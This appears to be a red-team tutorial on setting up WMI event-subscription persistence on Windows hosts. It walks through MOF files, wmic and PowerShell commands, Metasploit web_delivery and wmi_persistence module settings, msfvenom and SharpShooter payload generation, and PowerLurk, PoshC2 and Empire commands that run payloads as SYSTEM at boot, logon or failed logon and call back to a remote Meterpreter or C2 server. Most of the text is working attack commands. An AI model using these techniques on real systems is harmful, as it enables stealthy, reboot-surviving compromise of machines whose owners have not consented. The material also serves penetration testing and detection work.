Persistence – WMI Event Subscription

Windows Management Instrumentation (WMI) enables system administrators to perform tasks locally and remotely. From the perspective of red teaming WMI can be used to perform several activities such as lateral movement, persistence, situational awareness, code execution and as a command and control (C2). The fact that WMI is part of Windows that exists in almost all windows operating systems (Windows 98- Windows 10) allows these offensive activities to stay off the radar of the blue team.

Typically persistence via WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.

  • __EventFilter // Trigger (new process, failed logon etc.)
  • EventConsumer // Perform Action (execute payload etc.)
  • __FilterToConsumerBinding // Binds Filter and Consumer Classes

Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well. However various frameworks such as Metasploit, Empire, PoshC2, PowerSploit and multiple PowerShell scripts and C# tools can be used to automate this technique providing different triggers and various options for code execution. It should be noted that WMI events run as a SYSTEM, persists across reboots and Administrator level privileges are required to use this technique.


Managed object format (MOF) is the language used to describe CIM (Common Information Model) classes. A MOF file typically contains statements. classes and class instances which are added to the WMI repository (OBJECTS.DATA) when the file is compiled (mofcomp.exe can compile MOF files and it is part of Windows). The contents of a MOF file are demonstrated below:

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
    Name = "Pentestlab";
instance of __EventFilter as $Filt
    Name = "Pentestlab";
    EventNamespace = "root\\subscription";
    Query ="SELECT * FROM __InstanceCreationEvent Within 3"
            "Where TargetInstance Isa \"Win32_Process\" "
            "And Targetinstance.Name = \"notepad.exe\" ";
    QueryLanguage = "WQL";
instance of __FilterToConsumerBinding
     Filter = $Filt;
     Consumer = $Cons;

The above MOF file will execute cmd.exe when the notepad.exe process is created on the system. The MOF file can be deployed on the WMI repository by executing the following command:

mofcomp.exe .\wmi.mof
Compile MOF Files

Alternatively Metasploit Framework has also capability to generate malicious MOF files. Executing the following command from interactive ruby console will generate the MOF.

puts generate_mof("Metasploit1","Metasploit2")
Generate MOF Files – Metasploit

The Microsoft utility “mofcomp.exe” can compile MOF files. The file will automatically stored in the WMI repository and the malicious payload/command will executed automatically.

mofcomp.exe .\Metasploit.mof
Compile MOF – Metasploit

In this case the payload was fetched remote remotely via Metasploit “web_delivery” module by using the regsvr32 method. Immediately a Meterpreter session was spawned as soon as the MOF file was compiled.

MOF Metasploit – Meterpreter

Even though that some APT’s groups have used MOF files as a dropper in order to achieve persistence over WMI, it is not recommended as a method. Persistence via WMI event subscription can be achieved by using common Microsoft utilities and therefore eliminates the need of dropping a file into disk.

Command Prompt

Interaction with WMI can be performed through the command prompt as all Windows operating systems contain a command line utility (wmic). Execution of the following commands will create in the name space of root\subscription three events. The arbitrary payload will executed within 60 seconds every time Windows starts.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\Windows\System32\pentestlab.exe",CommandLineTemplate="C:\Windows\System32\pentestlab.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""
WMI Persistence – wmic commands

The executable will return a Meterpreter session within 60 seconds after every reboot.

WMI Persistence – Meterpreter via Event Filter


PowerShell contain cmdlets that can query WMI objects and retrieve information back to the console. The following commands can be used to validate that the arbitrary events have been created and the malicious payload/command is stored in the WMI repository.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

It is also possible to implement this technique directly through PowerShell. The following script block will execute the arbitrary executable “pentestlab.exe” within 5 minutes after every boot of Windows.

$FilterArgs = @{name='Pentestlab-WMI';
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='Pentestlab-WMI';
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
WMI Persistence – PowerShell

The following commands can be executed to perform a cleanup and remove the created WMI objects.

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

PowerPunch is a collection of PowerShell scripts that contains a PowerShell script for persistence over WMI. However the script requires Invoke-MetasploitPayload to be loaded in memory as well as the payload will be downloaded from a remote location. The Metasploit Framework “web_delivery” module can be configured that will host the PowerShell based payload.

use exploit/multi/script/web_delivery
set SRVPORT 8443
set SSL true
set target 2
set URIPATH pentestlab
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8888
run -j
WMI Persistence – PowerShell Payload

The following command will register a WMI event subscription and will store the command that will be executed during startup in order to create fileless persistence.

Import-Module .\Invoke-MetasploitPayload.ps1
Import-Module .\New-WMIPersistence.ps1
New-WMIPersistence -Name Pentestlab -OnStartup -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Arguments "-Command Invoke-MetasploitPayload"
WMI Persistence – Register Event

The payload will be delivered on the target host on during startup.

WMI Persistence – Delivery of Payload

The Wmi-Persistence is a simple PowerShell script that supports the following triggers: Startup, Logon, Interval and Timed. It contains three functions for installation, review and removal of the created WMI events.

Install-Persistence -Trigger Startup -Payload "c:\windows\system32\pentestlab.exe" 
WMI Event Subscription – Executable Startup

The “startup” trigger by default will execute the arbitrary payload within five minutes after startup.

Persistence WMI Event Subscription – Meterpreter

WMI-Persistence is another PowerShell script that can create and event filter that will execute a PowerShell based payload from a remote location within 5 minutes after every reboot.

Import-Module .\WMI-Persistence.ps1
WMI Persistence – SystemUpTime

The script contains a function for viewing WMI objects to ensure that the arbitrary classes have been created correctly.

WMI Persistence – Check Event Filters

After 5 minutes on the next reboot the payload will be delivered and a Meterpreter session will established with the target host.

WMI Event Subscription – SystemUpTime Meterpreter

Rahmat Nurfauzi developed a PowerShell script (WMI-Persistence) which by default executes an arbitrary command using regsvr32 method in order to run an arbitrary scriptlet from a remote server.

WMI-Persistence – Regsvr32

The “Get-WMIObject” cmdlet will ensure that the event filter has been created since the script doesn’t provide any console output.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
WMI-Persistence – Check Event Filters

Metasploit Framework can be used to host the scriptlet and obtain the session. However other command and control frameworks such as PoshC2 have similar capability and can capture regsvr32 payloads.

WMI-Persistence – Meterpreter via Regsvr32

PowerLurk is another PowerShell script that supports five triggers. These are: InsertUSB, UserLogon, Timed, Interval and ProcessStart. This script use the WMI repository in order to store a malicious command that will execute an arbitrary script, executable or any other command with arguments. The following function will retrieve all the active WMI event objects.

WMI Event Subscription – PowerLurk Get-WMIEvent

Executing the following command will create an arbitrary event subscription that will execute a malicious payload permanently during Windows logon.

Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any
WMI Event Subscription – PowerLurk Meterpreter


Dominic Chell developed a C# tool called WMIPersist which can be used directly as an executable on a compromised host or through Cobalt Strike. The tool will register an event that will execute a base64 VBS payload when a target process is created on the system.

WMIPersist – Code

Metasploit utility “msfvenom” can generate the required payload but any other tool such as unicorn can be used as well.

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST= LPORT=4444
Msfvenom – Generate bin payload

SharpShooter can be utilized to generate the stageless payload in VBS format by using the shellcode raw file produced previously.

python --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin
base64 -i output/implantvbs.vbs > /home/pentestlab.txt
SharpShooter – Generate Implant

The payload can be embedded into the WMIPersist tool and the csc.exe utility (part of .NET framework) can compile the source code in order to convert it to an executable.

csc.exe WMIPersist.cs /r:System.Management.Automation.dll
Persistence WMI Event Subscription – Compile WMIPersist

Running the executable on the target host or through Cobalt Strike (execute-assembly option) will create the Event Filter, Event Consumer and the subscription.

Persistence WMI Event Subscription – WMIPersist

Executing the following commands from a PowerShell console will verify that the payload is stored in the “__EventConsumer” and the “__EventFilter” has been created.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

When the notepad.exe process starts the payload will executed and the communication channel will open. By default this tool is using notepad which is a common Windows application but the code can be modified to target any other common process such as word.exe, outlook.exe, excel.exe, calc.exe depending on the information gathered from the host during situational awareness. The Metasploit module “multi/handler” or any other C2 can be used to capture the session.

Persistence WMI Event Subscription – WMIPersist Meterpreter


PoshC2 is a Command and Control framework based in PowerShell but supports C# implants and modules to evade EDR products during red team engagements. There is a PowerShell module which can deploy the persistence technique of WMI event subscription on a target host by executing a based-64 encoded payload at a specific time.

Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11
Persistence WMI Event – PoshC2 Module

When the command will executed the WMI event will created and automatically the results of the WMI objects modified will returned back on the console screen for verification.

Persistence WMI Event – PoshC2 Event Filter

The new implant will connect back to the C2 server at the time that it was set.

Persistence WMI Event – PoshC2 Implant


Metasploit Framework contains a module which performs persistence on the target system over WMI. The module supports different options that can be used to trigger an arbitrary payload to be executed on the system. By default is is configured to execute the payload when a specific event ID (4625) is created on the system. Other options that are supported are execution of payload during logon, after creating a specific process, after a specific time period etc.

use exploit/windows/local/wmi_persistence
set USERNAME_TRIGGER pentestlab
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
WMI Event Subscription – Metasploit Module

The module will provide the required command that can be used to logon over SMB to the host by using a wrong password in order to generate the specified failed logon request. When the command will executed, will generate the failed logon event which will trigger the payload and a Meterpreter session will open.

smbclient \\\\\\C$ -U pentestlab password
Persistence WMI Event Subscription – Trigger

In vanilla Windows 10 builds both success and failed attempts during logon/logoff are logged by the system.

auditpol /get /subcategory:Logon
Audit Policy – Windows Logon


PowerShell Empire has two modules which can establish persistence over WMI. The following module can execute a payload at a specific daily time, during failed logon and at startup within 5 minutes.

usemodule persistence/elevated/wmi
set Listener WMI
set SubName Empire
set FailedLogon True
Persistence WMI Event Subscription – Empire Module

Similar to Metasploit module a failed SMB connection can be used to trigger the PowerShell based implant when the “FailedLogon” option is used. By default this option will return two connections back to the command and control server.

Persistence WMI Event Subscription – Empire Session

The “wmi_updater” module has the capability to fetch the payload from a remote location instead of storing it in the WMI repository. It will register as “AutoUpdater” and the trigger can be set at a startup or at a specific time of the day.

usemodule persistence/elevated/wmi_updater*


The following table represents the tools that can be used by red teams in order to implement the persistence technique of WMI Event Subscriptions and the available trigger options for each tool.

MetasploitRubyFailed Logon, Process, Startup, Timed
EmpirePowerShellFailed Logon, Startup, Timed
PowerPunchPowerShellLogon, Startup
Wmi-PersistencePowerShellLogon, Startup, Interval, Timed
PowerLurkPowerShell USB, Logon, Process, Interval, Timed
WMILogonBackdoorPowerShellTimed, Interval
WMIBackdoorPowerShellTimed, Interval